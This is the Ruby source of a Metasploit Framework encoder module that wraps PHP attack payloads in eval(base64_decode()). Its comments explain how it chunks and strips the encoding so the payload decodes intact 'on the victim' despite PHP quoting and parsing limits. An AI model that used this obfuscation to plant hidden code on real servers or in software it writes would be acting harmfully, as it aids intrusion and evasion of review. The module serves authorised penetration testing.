| | 1 | ## |
|---|
| | 2 | # $Id: $ |
|---|
| | 3 | ## |
|---|
| | 4 | |
|---|
| | 5 | ## |
|---|
| | 6 | # This file is part of the Metasploit Framework and may be subject to |
|---|
| | 7 | # redistribution and commercial restrictions. Please see the Metasploit |
|---|
| | 8 | # Framework web site for more information on licensing and terms of use. |
|---|
| | 9 | # http://metasploit.com/projects/Framework/ |
|---|
| | 10 | ## |
|---|
| | 11 | |
|---|
| | 12 | |
|---|
| | 13 | require 'msf/core' |
|---|
| | 14 | |
|---|
| | 15 | module Msf |
|---|
| | 16 | module Encoders |
|---|
| | 17 | module Php |
|---|
| | 18 | |
|---|
| | 19 | class Base64 < Msf::Encoder |
|---|
| | 20 | |
|---|
| | 21 | def initialize |
|---|
| | 22 | super( |
|---|
| | 23 | 'Name' => 'PHP code Base64 encoder', |
|---|
| | 24 | 'Version' => '$Revision: $', |
|---|
| | 25 | 'Description' => %q{ |
|---|
| | 26 | This encoder returns a base64 string encapsulated in |
|---|
| | 27 | eval(base64_decode()), increasing the size by roughly one |
|---|
| | 28 | third. |
|---|
| | 29 | }, |
|---|
| | 30 | 'Author' => 'egypt <egypt@nmt.edu>', |
|---|
| | 31 | 'License' => BSD_LICENSE, |
|---|
| | 32 | 'Arch' => ARCH_PHP) |
|---|
| | 33 | end |
|---|
| | 34 | |
|---|
| | 35 | def encode_block(state, buf) |
|---|
| | 36 | # Try not to insert quotes as PHP escapes these by default with |
|---|
| | 37 | # magic_quotes_gpc. The '==' at the end of the base64 encoded data is |
|---|
| | 38 | # unnecessary and can cause parse errors when we use it as a raw |
|---|
| | 39 | # string, so strip it off. |
|---|
| | 40 | # |
|---|
| | 41 | # The raw, unquoted base64 without the terminating equals works because |
|---|
| | 42 | # PHP treats it like a string, with a couple of caveats. For payloads |
|---|
| | 43 | # that encode to more than 998 characters, only part of the payload |
|---|
| | 44 | # gets unencoded on the victim, presumably due to a limitation in php |
|---|
| | 45 | # identifier names, so we break the encoded payload into 900-byte |
|---|
| | 46 | # chunks. We also must be careful not to begin a chunk with a digit |
|---|
| | 47 | # because then PHP thinks it's a number and chokes. |
|---|
| | 48 | |
|---|
| | 49 | b64 = Rex::Text.encode_base64(buf) |
|---|
| | 50 | b64.gsub!(/[=\n]+/, '') |
|---|
| | 51 | block = '' |
|---|
| | 52 | i = 900; |
|---|
| | 53 | while i < b64.length |
|---|
| | 54 | while (b64[i].chr =~ /^[0-9]/) |
|---|
| | 55 | i += 1 |
|---|
| | 56 | end |
|---|
| | 57 | b64.insert(i,'.') |
|---|
| | 58 | i += 900 |
|---|
| | 59 | end |
|---|
| | 60 | block = "eval(base64_decode(" + b64 + "));" |
|---|
| | 61 | return block |
|---|
| | 62 | end |
|---|
| | 63 | |
|---|
| | 64 | end |
|---|
| | 65 | |
|---|
| | 66 | end end end |